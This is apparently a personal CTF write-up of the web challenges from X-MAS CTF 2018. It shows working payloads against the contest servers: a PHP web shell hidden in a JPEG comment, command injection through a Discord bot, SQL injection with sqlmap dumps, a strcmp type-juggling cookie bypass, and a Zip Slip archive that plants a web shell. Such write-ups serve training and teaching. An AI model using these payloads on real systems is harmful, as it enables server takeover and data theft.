X-MAS CTF 2018 — write-ups (part 1)

It was the very first edition of X-MAS CTF, a CTF created by the HTsP team from Romania that was held from Fri, 14 Dec. 2018, 19:00 CET to Sat, 22 Dec. 2018, 19:00 CET.

I played this CTF alone, for fun and managed to validate 20 tasks out of 48 (not counting the sanity check/bonus ones). I finished 68th/1378.

This is the part 1 where you will find the write-ups of all the WEB & WEB/CRYPTO tasks. Part 2 contains the remaining tasks I completed.

We have all gathered round to write down our wishes and desires for this Christmas! Please don’t write anything mean, Santa will be reading this!

Server: http://199.247.6.180:12001

This is a simple webpage allowing us to send messages that will be echoed back. Looking at the page source code, we can see that AJAX is used to send POST requests:

The first thing that comes to mind is XXE. By sending a crafted XML payload we can easily read the content of the files on the server, therefore we can get flag.txt that is at the root of the website:

This new website is all the rage for every gnome in Lapland! How many games of Rock Paper Scissors can you win?

Server: http://199.247.6.180:12002

There are 2 main features on this website, the game and the settings. The game is full JS, of little use to get a flag server side.

In the settings we can change our name and avatar image:

Looking at the page source code we see that the avatar is renamed as the username after upload, without extension. In our case, the image is stored in avatars/noobintheshell. If we rename our user with a .php extension and we upload an image containing a PHP backdoor, we will be able to execute commands on the server.

The upload feature checks that the file is a valid image, therefore we need to embed our backdoor in a valid image file.

I used jhead to clean my avatar image of all unnecessary headers that could cause errors when interpreted and to add the PHP payload as a comment:

$ wget http://www.sentex.net/~mwandel/jhead/os-x/jhead
$ chmod +x jhead
$ ./jhead -purejpg avatar.jpg
$ ./jhead -ce avatar.jpg
Payload: <?php system($_REQUEST['cmd']); __halt_compiler(); ?>

Once the name changed to cmd.php and the image uploaded we request the following to get the flag:

http://199.247.6.180:12002/avatars/cmd.php?cmd=cat%20../flag.txt

Flag: X-MAS{Ev3ry0ne_m0ve_aw4y_th3_h4ck3r_gn0m3_1s_1n_t0wn}

Who wouldn’t enjoy pressing random buttons? Yeah, i guessed so! This time though, the bu77on isn’t random…

Server: http://199.247.6.180:12004

I won’t spend much time on this one as it is a pure guessing challenge.

We get a page with a single button that has a value of Click here boai. We only need to change the value of the button to flag and click it to get the flag.

Flag: X-MAS{PhPs_A1n7_m4d3_f0r_bu77_0ns___:)}

Come on! Santa’s lucky number is pretty predictable, don’t you think? ;)

Server: http://199.247.6.180:12005

We are given a website where the only entry point is a variable page which returns what seems like a 512 bits hash whatever the value, numeric or alphabetic.

The hash could be a SHA512 but none of the hashes I tried were known on online pre-computed lookup tables. I tried to split the hash to have 4 MD5 hashes and this worked for some hashes even if it was mostly garbage. However, after a few hours trying, I decided to give brute-force a go. The idea was to see if a page was returning a different message than a hash. As all the hashes were the same size, I just analyzed the page content size for something different than 975 bytes. And it worked, the page 1327 was 902 bytes long and contained the flag.

Flag: X-MAS{W00pS_S0m30n3_73l1_S4n7a_h1s_c00k1eS_Ar3_BuRn1ng}

One of our main production Mechagnomes is now malfunctioning. You have to access its control panel by directly messaging Helper Mechagnome#9926 (You can find him resting on our main discord server).

Get the restart codes, and restart it so that our toy factory can continue working!

For this challenge, we need to connect to the CTF’s Discord channel and talk to the Helper Mechagnome#9926 bot.

The help command shows what are the bot’s available commands:

The goal is to find the code to restart the bot. Using restart shows the usage message:

Correct Usage: restart XXXXX-XXXXX-XXXXX-XXXXX-XXXXX

Let’s suppose that the code is stored in a file and that we have to exploit a command injection vulnerability. Playing with the command names does not lead anywhere as there is a strict check on those. We need to try with command arguments and the one we can play with are add, sendletter and restart. We try a basic ;ls payload after each commands and we quickly find that the vulnerable command is sendletter .

> sendletter test@test.com message;ls
mecha.py robot_restart_codes.txt
> sendletter test@test.com message;cat robot_restart_codes.txt
Cobalt Inc. MechaGnome Restart Codes:\r XJACO-10U4C-C091U-VNOAC-J2QCS
> restart XJACO-10U4C-C091U-VNOAC-J2QCS

Flag: X-MAS{Wh0_Kn3W_4_H3lp3r_M3ch4gN0m3_W0uLd_b3_S0_vULN3R4bL3}

We all know that Santa is quite an old man. He sometimes forgets things. Including his password.

Therefore, our high-tech gnomegineer department worked the whole last night to develop a new login system, that requires no passwords! Nifty.

Server: http://199.247.6.180:12003

We have a single page website with no apparent entry points and we need to be identified as originating from an internal lab, somehow.

One way we can think to identify a client without a password is to use HTTP request headers like User-Agent, X-Forwarded-For or Client-Ip.

Setting the User-Agent to a quote generates a MySQLi error. We set it to ' or '1'='1 and we get the ‘Welcome’ message instead of the ‘Access Denied’. Let’s use sqlmap with boolean-based blind injection technique to dump the DB:

$ sqlmap -u http://199.247.6.180:12003 --user-agent=”1*" -level=5 -risk=3 -string=”Welcome” -technique=B -dbms=MySQL$ sqlmap -u http://199.247.6.180:12003 --user-agent="1*" --dbs
available databases [3]:
[*] db
[*] information_schema
[*] test
$ sqlmap -u http://199.247.6.180:12003 --user-agent="1*" -D db --dump
Database: db
Table: uas
[1 entry]
+---------------------------------------+
| ua |
+---------------------------------------+
| X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3} |
+---------------------------------------+

Note: I lost countless hours on this one because of a misuse of sqlmap. If we do not force technique=B we end up with getting error-based and time-based SQLi (if we stop the tests when prompted). When dumping the DB with those techniques the db.uas table returns empty:

Database: db
Table: uas
[1 entry]
+ — — — — -+ — — — — -+
| u | v |
+ — — — — -+ — — — — -+
| <blank> | <blank> |
+ — — — — -+ — — — — -+

You cannot cmp any cookie with Santa’s cookies.

Server: http://199.247.6.180:12008

First thought when reading the ‘cmp’ in the description: it’s a PHP Type Juggling vulnerability!

Only entry points here are the 2 default cookies:

adminpass=MyLittleCookie%21
cookiez=WlhsS2NGcERTVFpKYWtscFRFTktNR1ZZUW14SmFtOXBXak5XYkdNelVXbG1VVDA5

cookiez is in fact {"user":"2", "type":"guest"} encoded 3 times with base64. If we encode 3 times {"user":"1", "type":"admin"} and request a page, we get the message ‘You got the admin password wrong :c’

Regarding the adminpass cookie, we imagine that the server check looks like:

if (strcmp($_COOKIE["adminpass"], "mysecurepass") == 0) 
{ // do stuff }

For the loose comparison to return true, we need strcmp to return either 0, which means we have the right password, or NULL. Indeed due to the loose comparison NULL == 0 returns true.

How can strcmp return NULL? By comparing "mysecurepass" with an empty array array(). And PHP translates global variables to NULL when an array is submitted. Therefore the following call gives us the flag:

$ curl http://199.247.6.180:12008 -H “Cookie: cookiez=WlhsS2NGcERTVFpKYWtWcFRFTktNR1ZZUW14SmFtOXBXVmRTZEdGWE5HbG1VVDA5;adminpass[]=1234”

Flag: X-MAS{S4n74_L0v35__C00kiesss_And_Juggl1ng!}

Ever wondered where Santa might keep his most personal secrets? In the most securized Siberian vault of course! Today, the concrete and steel facility has opened to the public, and you can now use it to safeguard your very own personal secrets too, just like Santa!

Pro Tip: You can upload archives to store multiple secrets at the same time.

Server: 199.247.6.180:12007

We have a website where we can upload files and archives to store them ‘securely’.

When uploading a file it gets stored in /uploads/your_PHPSESSID/. When a zip file is uploaded it gets decompressed and the content is stored at the same place. We can then browse them to retrieve them. At the exception of txt/html and images, all other files get downloaded.

“ZIP => Zip Slip Vulnerability” is what I thought immediately. We craft a ZIP file with a filename containing a path traversal. Once decompressed, the file can be written on the server or can overwrite an existing file:

$ echo "<?php system($_REQUEST['cmd']); ?>" > ../../cmd.php
$ zip evil.zip ../../cmd.php

However, this did not work. Looking at the source code we see another folder that could be of interest img:

$ zip evil.zip ../../img/cmd.php

This time it worked and we could get the flag with img/cmd.php?cmd=cat%20../flag.txt.

Flag: X-MAS{Z1pp3r_D0wn_S4nt4!_Y0ur_Secre3t5_4r3_n0w_0ur5}

Note: another frustrating challenge where I spent hours to figure it out as it was not very stable and some tests I did initially and should have worked, did not, returning ZIP decompression errors instead.

“Psst, I got a task for you. There’s this monolith to which I need to get access, but I can’t get the numbers right. Can you help me? I pay well.” ~ A shady dealer gnome

Server: http://199.247.6.180:12000

This is a game where we need to guess what is the next expected number.

Seems like we are in front of a PHP PRNG. Let’s hope it’s a homemade flawed one :)

After some analysis we see the following behavior:

  • the numbers to guess are in the range [0–70000],
  • seems like the min and max values are set randomly. The min value seems in [0–1000] range and max value in [30000–70000] range,
  • each time the session cookie is deleted, a new seed and a new min/max values are calculated.

As each PRNG has a period (a number of outputs after which the output will start to repeat), we can start to test if this implementation has a small period by querying the page multiple times:

Analyzing the output file:

$ cat guess.txt | sort -un | wc -l
15992

The period is indeed really small and we now have the full series in order. Inputting 20 times the right guess gives us the flag. We just need to make sure we use the same session.

Flag: X-MAS{LCG_0n_7h3_LapL4nd_m0n0LiTh_1s_n0t_7ha7_s3cur3}

Note: this was not the intended solution and a new challenge was created with a period way bigger.

“Hey, do you remember that monolith I had to get in last week? Now I stumbled upon something greater and shinier! Can you help me get access to this one?” ~ The same shady dealer gnome

Server: http://199.247.6.180:12006

This is the same challenge as before but with a bigger period. The last flag gives us a hint on how to resolve it the intended way: LCG (Linear Congruential Generator).

https://dspace.cvut.cz/bitstream/handle/10467/69409/F8-BP-2017-Molnar-Richard-thesis.pdf

I found this implementation used in another CTF. We just need to collect a few values of the series to compute the next ones.

Full code here.

Flag: X-MAS{Bru73_F0rc3_1s_gr34t_bu7_LCG_1s_b3tt3r___}

-> Continue to part 2.

Cyber Security Professional and CTFer from Switzerland.